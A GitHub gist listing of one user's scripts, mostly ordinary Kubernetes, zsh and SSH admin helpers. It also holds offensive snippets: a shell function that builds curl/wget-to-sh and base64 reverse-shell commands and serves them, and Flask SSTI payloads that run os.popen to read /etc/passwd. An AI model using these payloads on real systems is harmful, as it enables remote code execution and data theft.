Skip to content

Instantly share code, notes, and snippets.

View zAbuQasem's full-sized avatar
🎯
Focusing

Zeyad AbuLaban zAbuQasem

🎯
Focusing
View GitHub Profile
@zAbuQasem
zAbuQasem / k8s_force_delete_ns.sh
Created December 10, 2025 22:53
Shell function that delete a namespace stuck in terminating state.
k8s_force_delete_ns() {
local ns="$1"
# If no namespace provided, use fzf to pick from terminating namespaces
if [[ -z "$ns" ]]; then
ns="$(
kubectl get ns \
--field-selector=status.phase=Terminating \
-o jsonpath='{range .items[*]}{.metadata.name}{"\n"}{end}' \
| fzf --prompt='Terminating namespaces > ' --height=10 --reverse
@zAbuQasem
zAbuQasem / zsh-per-app-history
Last active December 7, 2025 20:26
Per-terminal Zsh history: use a separate HISTFILE for each terminal app (VS Code, iTerm, etc.) while keeping a common history for Apple Terminal and Ghostty on Linux/WSL.
set_app_history() {
local app=${TERM_PROGRAM:-Apple_Terminal}
local default_histfile="$HOME/.zsh_history"
# Terminals that should use the shared/default history file
local -a SHARED_HISTORY_TERMINALS=(
Apple_Terminal
iTerm.app
Ghostty
)
@zAbuQasem
zAbuQasem / DockerRegistryGrabber-v2.sh
Created February 10, 2025 22:40
Download layers of Multi-Platform container images.
#!/bin/bash
# Author: zAbuQasem
# GitHub: https://github.com/zAbuQasem
# Script extract only `latest` tag image layers from a the registry, check line 142 to change the tag
## You can get tag from the registry by running the following command
### curl -s http://localhost:5000/v2/your-image-name/tags/list
# Define colors
@zAbuQasem
zAbuQasem / create-package.sh
Created April 12, 2024 02:58
Create apt package and serve it
#!/bin/bash
# Create necessary directory structure
mkdir -p package/package_1.0.0-1_amd64
cd package/package_1.0.0-1_amd64
# Create directory for binary
mkdir -p usr/bin
cd usr/bin
@zAbuQasem
zAbuQasem / reverse-shell.sh
Created April 9, 2024 03:21
Add this function to your `$SHELL.rc` file
s() {
local ip=$(ip -4 addr show tun0 | grep inet | awk '{print $2}' | cut -d/ -f1)
case "$1" in
-w ) echo -n "wget -qO - http://$ip/x |sh" | xclip -sel clip ;;
-e ) payload="echo $(curl -sq https://reverse-shell.sh/$ip:443 | sed '/^#/d' | base64 -w0) | base64 -d | sh" ; echo "echo $(echo $payload | base64 -w0)| base64 -d | sh" | xclip -sel clip ; return 0;;
* ) echo -n "curl $ip/x|sh" | xclip -sel clip ;;
esac
curl https://reverse-shell.sh/$ip:443 -o x
python3 -m http.server 80
}
@zAbuQasem
zAbuQasem / ssh-config.sh
Last active April 19, 2024 04:43
Add an entry to ssh config
#!/bin/bash
if [[ $# -lt 2 ]]; then
echo -e "\e[31m[Error]: Not enough arguments!\e[0m"
echo -e "\e[31m[!] Position Matters!\e[0m"
echo -e "\e[32m[+] Usage: ssh-config.sh [-i identity_file] [-p port] user@host alias\e[0m"
exit 1
fi
while getopts "i:p:" opt; do
@zAbuQasem
zAbuQasem / terminal.sh
Last active November 14, 2024 22:01
Configure new instance with fancy terminal
#!/bin/bash -xe
sudo apt update && sudo apt upgrade -y
sudo apt install -y zsh curl nano net-tools git ripgrep vim xclip fail2ban p7zip-full unzip dnsutils
git clone --depth 1 https://github.com/junegunn/fzf.git ~/.fzf
~/.fzf/install --all
curl https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh -o /tmp/install.sh &&
sed -i 's/CHSH=no/CHSH=yes/g' /tmp/install.sh &&
echo "Y" | sh /tmp/install.sh
sed -i 's/plugins=(git)/plugins=(git fzf)/g' ~/.zshrc
@zAbuQasem
zAbuQasem / patch-ingress.py
Last active April 19, 2024 04:43
Quickly Patch ingress-nginx to handle TCP traffic:
import argparse
import subprocess
import yaml
__author__ = "Zeyad AbuLaban"
BASE_YAML = """
spec:
template:
spec:
@zAbuQasem
zAbuQasem / SSTI.txt
Created October 22, 2023 18:47
Flask SSTI payloads
# Time Based
{% if lipsum.__globals__["os"].popen('head -c 1 /etc/passwd').read() == "r" %}Free-Palestine{% elif lipsum.__globals__["os"].popen('sleep 5').read() %}Free-Palestine{% endif %}
# Boolen Based
{% if lipsum.__globals__["os"].popen('head -c 1 /etc/passwd').read() == "r" %}Free-Palestine{% endif %}
# You may pipe chars to md5sum in order to retrieve new lines without headache
{% if lipsum.__globals__["os"].popen('head -c 1 /etc/passwd | md5sum | cut -d " " -f1 | tr -d "\n"').read() == "4b43b0aee35624cd95b910189b3dc231" %}Free-Palestine{% endif %}
# Written by zAbuQasem
# Usage: cat /proc/net/tcp | awk '{print $2}' |grep -E '[A-F0-9]' | python3 lfi-portscan.py
import sys
import struct
import socket
addresses = [i.strip() for i in sys.stdin]
for address in addresses:
hex_ip,port = address.split(":")[0],address.split(":")[1]